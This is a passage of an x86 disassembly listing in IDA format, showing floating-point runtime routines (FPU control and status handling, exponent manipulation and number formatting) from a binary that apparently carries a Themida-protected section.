0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C76E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call near ptr 2860000h nop mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41C267 and dword ptr [esi], 0FFFFFFFEh loc_41C267: ; CODE XREF: sub_41C040+222j test byte ptr [eax+8], 8 jz short loc_41C270 and dword ptr [esi], 0FFFFFFFBh loc_41C270: ; CODE XREF: sub_41C040+22Bj test byte ptr [eax+8], 4 jz short loc_41C279 and dword ptr [esi], 0FFFFFFF7h loc_41C279: ; CODE XREF: sub_41C040+234j test byte ptr [eax+8], 2 jz short loc_41C282 and dword ptr [esi], 0FFFFFFEFh loc_41C282: ; CODE XREF: sub_41C040+23Dj test [eax+8], bl jz short loc_41C28A and dword ptr [esi], 0FFFFFFDFh loc_41C28A: ; CODE XREF: sub_41C040+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41C2BE dec ecx jz short loc_41C2B2 dec ecx jz short loc_41C2A8 dec ecx jnz short loc_41C2C0 or byte ptr [esi+1], 0Ch jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2A8: ; CODE XREF: sub_41C040+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41C2BA ; --------------------------------------------------------------------------- loc_41C2B2: ; CODE XREF: sub_41C040+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41C2BA: ; CODE XREF: sub_41C040+270j mov [esi], ecx jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2BE: ; CODE XREF: sub_41C040+257j and [esi], edx loc_41C2C0: ; CODE XREF: sub_41C040+260j ; sub_41C040+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41C2E0 dec ecx jz short loc_41C2D7 dec ecx jnz short loc_41C2E9 and [esi], edx jmp short loc_41C2E9 ; --------------------------------------------------------------------------- loc_41C2D7: ; CODE XREF: sub_41C040+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41C2E7 ; --------------------------------------------------------------------------- loc_41C2E0: ; CODE XREF: sub_41C040+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41C2E7: ; CODE XREF: sub_41C040+29Ej mov [esi], ecx loc_41C2E9: ; CODE XREF: sub_41C040+291j ; sub_41C040+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41C040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C31E test byte ptr [ebp+arg_8], bl jz short loc_41C31E push ebx call sub_41C7A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C31E: ; CODE XREF: sub_41C2F3+15j ; sub_41C2F3+1Aj test al, 4 jz short loc_41C338 test byte ptr [ebp+arg_8], 4 jz short loc_41C338 push 4 call sub_41C7A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C2F3+2Dj ; sub_41C2F3+33j test al, bl jz loc_41C412 test byte ptr [ebp+arg_8], 8 jz loc_41C412 push 8 call sub_41C7A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C3EA cmp ecx, 400h jz short loc_41C3C2 cmp ecx, 800h jz short loc_41C39A cmp ecx, eax jnz loc_41C40A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_435FA0 fnstsw ax sahf ja short loc_41C392 fchs loc_41C392: ; CODE XREF: sub_41C2F3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3B2 fld dbl_435F90 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j fld dbl_435FA0 fchs loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C2F3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3DA fld dbl_435FA0 jmp short loc_41C3E2 ; --------------------------------------------------------------------------- loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj fld dbl_435F90 fchs loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3EA: ; CODE XREF: sub_41C2F3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_435F90 fnstsw ax sahf ja short loc_41C402 fchs loc_41C402: ; CODE XREF: sub_41C2F3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C408: ; CODE XREF: sub_41C2F3+A5j ; sub_41C2F3+CDj ... fstp qword ptr [ecx] loc_41C40A: ; CODE XREF: sub_41C2F3+81j and edi, 0FFFFFFFEh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C412: ; CODE XREF: sub_41C2F3+47j ; sub_41C2F3+51j test al, 2 jz loc_41C4E8 test byte ptr [ebp+arg_8], 10h jz loc_41C4E8 push esi xor esi, esi test al, 10h jz short loc_41C42D mov esi, ebx loc_41C42D: ; CODE XREF: sub_41C2F3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jz loc_41C4D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C69F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C478 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C4CC ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C2F3+17Aj fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jnb short loc_41C48A mov edx, ebx jmp short loc_41C48C ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C2F3+191j xor edx, edx loc_41C48C: ; CODE XREF: sub_41C2F3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C4C0 sub eax, ecx loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C4AE test esi, esi jnz short loc_41C4AE mov esi, ebx loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j ; sub_41C2F3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C4BA or byte ptr [ebp+var_C+3], 80h loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C4A3 loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj test edx, edx jz short loc_41C4CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C4CC: ; CODE XREF: sub_41C2F3+183j ; sub_41C2F3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C4D8 ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej mov esi, ebx loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j test esi, esi pop esi jz short loc_41C4E5 push 10h call sub_41C7A0 pop ecx loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j and edi, 0FFFFFFFDh loc_41C4E8: ; CODE XREF: sub_41C2F3+26j ; sub_41C2F3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C4FF test byte ptr [ebp+arg_8], 20h jz short loc_41C4FF push 20h call sub_41C7A0 pop ecx and edi, 0FFFFFFEFh loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j ; sub_41C2F3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int) sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp ; sub_41BFA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C5B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C575 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C77D lea eax, [ebp+var_20] push eax call sub_42017F add esp, 0Ch test eax, eax jnz short loc_41C56F push esi call sub_41C592 pop ecx loc_41C56F: ; CODE XREF: sub_41C50A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C575: ; CODE XREF: sub_41C50A+14j push 0FFFFh push [ebp+arg_20] loc_41C57D: ; DATA XREF: Themida_:00537704o call sub_41C77D push [ebp+arg_0] call sub_41C592 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C50A endp ; =============== S U B R O U T I N E ======================================= sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp ; sub_41C50A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C5AD jle short locret_41C5B7 cmp eax, 3 jg short locret_41C5B7 mov dword_4CD9B4, 22h retn ; --------------------------------------------------------------------------- loc_41C5AD: ; CODE XREF: sub_41C592+7j mov dword_4CD9B4, 21h locret_41C5B7: ; CODE XREF: sub_41C592+9j ; sub_41C592+Ej retn sub_41C592 endp ; =============== S U B R O U T I N E ======================================= sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_435EB8 loc_41C5BF: ; CODE XREF: sub_41C5B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C5D5 add eax, 8 inc ecx cmp eax, offset dbl_435F90 jl short loc_41C5BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj mov eax, off_435EBC[ecx*8] retn sub_41C5B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C5E9 push 5 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C5DD+6j test al, 8 jz short loc_41C5F1 push 1 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej test al, 4 jz short loc_41C5F9 push 2 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5DD+16j test al, 1 jz short loc_41C601 push 3 loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj ; sub_41C5DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C601: ; CODE XREF: sub_41C5DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C5DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C60A(double) sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap ; sub_417DEB:loc_417E71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C60A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C61C(double,int) sub_41C61C proc near ; CODE XREF: sub_41C69F+82p ; sub_41C69F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_417CA4+31p ; sub_417DEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C65C cmp [ebp+arg_0], edx jnz short loc_41C66E push 1 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C65C: ; CODE XREF: sub_41C645+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C66E cmp [ebp+arg_0], edx jnz short loc_41C66E push 2 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C66E: ; CODE XREF: sub_41C645+11j ; sub_41C645+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C681 push 3 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C681: ; CODE XREF: sub_41C645+36j cmp cx, 7FF0h jnz short loc_41C69B test [ebp+arg_4], 7FFFFh jnz short loc_41C696 cmp [ebp+arg_0], edx jz short loc_41C69B loc_41C696: ; CODE XREF: sub_41C645+4Aj push 4 loc_41C698: ; CODE XREF: sub_41C645+15j ; sub_41C645+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C645+41j ; sub_41C645+4Fj xor eax, eax pop ebp retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C69F(double,int) sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_424818 push esi fnstsw ax sahf jnz short loc_41C6BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C755 ; --------------------------------------------------------------------------- loc_41C6BF: ; CODE XREF: sub_41C69F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C72E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C6D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C72E loc_41C6D7: ; CODE XREF: sub_41C69F+31j fld [ebp+arg_0] fcomp dbl_424818 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C6EF push 1 pop eax jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EF: ; CODE XREF: sub_41C69F+49j xor eax, eax loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej ; sub_41C69F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C70A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C704 or dword ptr [ebp+arg_0+4], 1 loc_41C704: ; CODE XREF: sub_41C69F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C70A: ; CODE XREF: sub_41C69F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C718 or byte ptr [ebp+arg_0+7], 80h loc_41C718: ; CODE XREF: sub_41C69F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C755 ; --------------------------------------------------------------------------- loc_41C72E: ; CODE XREF: sub_41C69F+28j ; sub_41C69F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C755: ; CODE XREF: sub_41C69F+1Bj ; sub_41C69F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C69F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C760 proc near ; CODE XREF: sub_41C040+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76E proc near ; CODE XREF: sub_41C040+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C77D proc near ; CODE XREF: sub_417CA4+13p ; sub_417CA4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp ; sub_41C2F3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C7B7 fld tbyte_435FB8 fistp [ebp+arg_0] wait loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj test cl, 8 jz short loc_41C7CC fstsw ax fld tbyte_435FB8 fstp [ebp+var_8] wait fstsw ax loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj test cl, 10h jz short loc_41C7DB fld tbyte_435FC4 fstp [ebp+var_8] wait loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj test cl, 4 jz short loc_41C7E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej test cl, 20h jz short locret_41C7F4 fldpi fstp [ebp+var_8] wait locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj leave retn sub_41C7A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp push 30000h push 10000h call sub_4201B7 pop ecx pop ecx retn sub_41C7F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_424828 fstp [ebp+var_8] fld dbl_424820 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4246A8 fnstsw ax sahf jbe short loc_41C842 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C842: ; CODE XREF: sub_41C808+33j xor eax, eax leave retn sub_41C808 endp ; =============== S U B R O U T I N E ======================================= sub_41C846 proc near ; CODE XREF: sub_417D73+5p push offset aKernel32 ; "KERNEL32" call near ptr 2720C42h nop test eax, eax jz short loc_41C86A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26F0000h test eax, eax jz short loc_41C86A push 0 call eax retn ; --------------------------------------------------------------------------- loc_41C86A: ; CODE XREF: sub_41C846+Dj ; sub_41C846+1Dj jmp sub_41C808 sub_41C846 endp ; =============== S U B R O U T I N E ======================================= sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp ; DATA XREF: sub_417D8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_419101 cmp eax, 65h pop ecx jz short loc_41C8AF loc_41C883: ; CODE XREF: sub_41C86F+3Ej inc esi cmp dword_433E7C, 1 jle short loc_41C89C movsx eax, byte ptr [esi] push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41C8AB ; --------------------------------------------------------------------------- loc_41C89C: ; CODE XREF: sub_41C86F+1Cj movsx eax, byte ptr [esi] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 4 loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj test eax, eax jnz short loc_41C883 loc_41C8AF: ; CODE XREF: sub_41C86F+12j mov cl, byte_433E80 mov al, [esi] mov [esi], cl inc esi loc_41C8BA: ; CODE XREF: sub_41C86F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C8BA pop esi retn sub_41C86F endp ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p ; DATA XREF: sub_417D8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_433E80 mov cl, [eax] test cl, cl jz short loc_41C8E5 loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj cmp cl, dl jz short loc_41C8E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C8D9 loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej ; sub_41C8C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C916 loc_41C8EC: ; CODE XREF: sub_41C8C9+34j mov cl, [eax] test cl, cl jz short loc_41C8FF cmp cl, 65h jz short loc_41C8FF cmp cl, 45h jz short loc_41C8FF inc eax jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C8C9+27j ; sub_41C8C9+2Cj ... mov ecx, eax loc_41C901: ; CODE XREF: sub_41C8C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C901 cmp [eax], dl jnz short loc_41C90C dec eax loc_41C90C: ; CODE XREF: sub_41C8C9+40j ; sub_41C8C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C90C locret_41C916: ; CODE XREF: sub_41C8C9+21j retn sub_41C8C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C917 proc near ; DATA XREF: sub_417D8B+28o ; ___:off_435FE0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_424818 fnstsw ax sahf jb short loc_41C92C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C92C: ; CODE XREF: sub_41C917+Fj xor eax, eax retn sub_41C917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C92F proc near ; CODE XREF: sub_41D797+430p ; DATA XREF: sub_417D8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C958 lea eax, [ebp+var_8] push eax call sub_42067A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C92F+Cj lea eax, [ebp+arg_8] push eax call sub_4206A7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p ; sub_41CC34+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4CDA24, 0 push ebx push esi jz short loc_41C9A2 mov ebx, [ebp+arg_8] mov eax, dword_4CDA20 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41CC85 pop ecx pop ecx jmp short loc_41C9DA ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C96D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_42074B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4206D4 add esp, 14h loc_41C9DA: ; CODE XREF: sub_41C96D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C9E6 mov byte ptr [eax], 2Dh inc eax loc_41C9E6: ; CODE XREF: sub_41C96D+73j test ebx, ebx jle short loc_41C9FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_433E80 mov eax, edi pop edi mov [eax], cl loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4CDA24, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4179C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41CA25 mov byte ptr [ecx], 45h loc_41CA25: ; CODE XREF: sub_41C96D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41CA6A mov ebx, [esi+4] dec ebx jns short loc_41CA39 neg ebx mov byte ptr [ecx], 2Dh loc_41CA39: ; CODE XREF: sub_41C96D+C5j inc ecx cmp ebx, 64h jl short loc_41CA50 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA50: ; CODE XREF: sub_41C96D+D0j inc ecx cmp ebx, 0Ah jl short loc_41CA67 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA67: ; CODE XREF: sub_41C96D+E7j add [ecx+1], bl loc_41CA6A: ; CODE XREF: sub_41C96D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C96D endp ; =============== S U B R O U T I N E ======================================= sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p ; sub_41CC34+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4CDA24, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41CAAC mov eax, dword_4CDA28 mov ebx, [esp+10h+arg_8] mov esi, dword_4CDA20 cmp eax, ebx jnz short loc_41CADC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41CADC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41CA71+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_42074B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4206D4 add esp, 14h loc_41CADC: ; CODE XREF: sub_41CA71+22j ; sub_41CA71+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41CAEA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41CAEA: ; CODE XREF: sub_41CA71+70j mov eax, [esi+4] test eax, eax jg short loc_41CB01 push 1 push edi call sub_41CC85 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41CB03 ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA71+7Ej add edi, eax loc_41CB03: ; CODE XREF: sub_41CA71+8Ej test ebx, ebx jle short loc_41CB48 push 1 push edi call sub_41CC85 mov al, byte_433E80 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41CB48 cmp byte_4CDA24, 0 jz short loc_41CB2D neg esi jmp short loc_41CB33 ; --------------------------------------------------------------------------- loc_41CB2D: ; CODE XREF: sub_41CA71+B6j neg esi cmp ebx, esi jl short loc_41CB35 loc_41CB33: ; CODE XREF: sub_41CA71+BAj mov ebx, esi 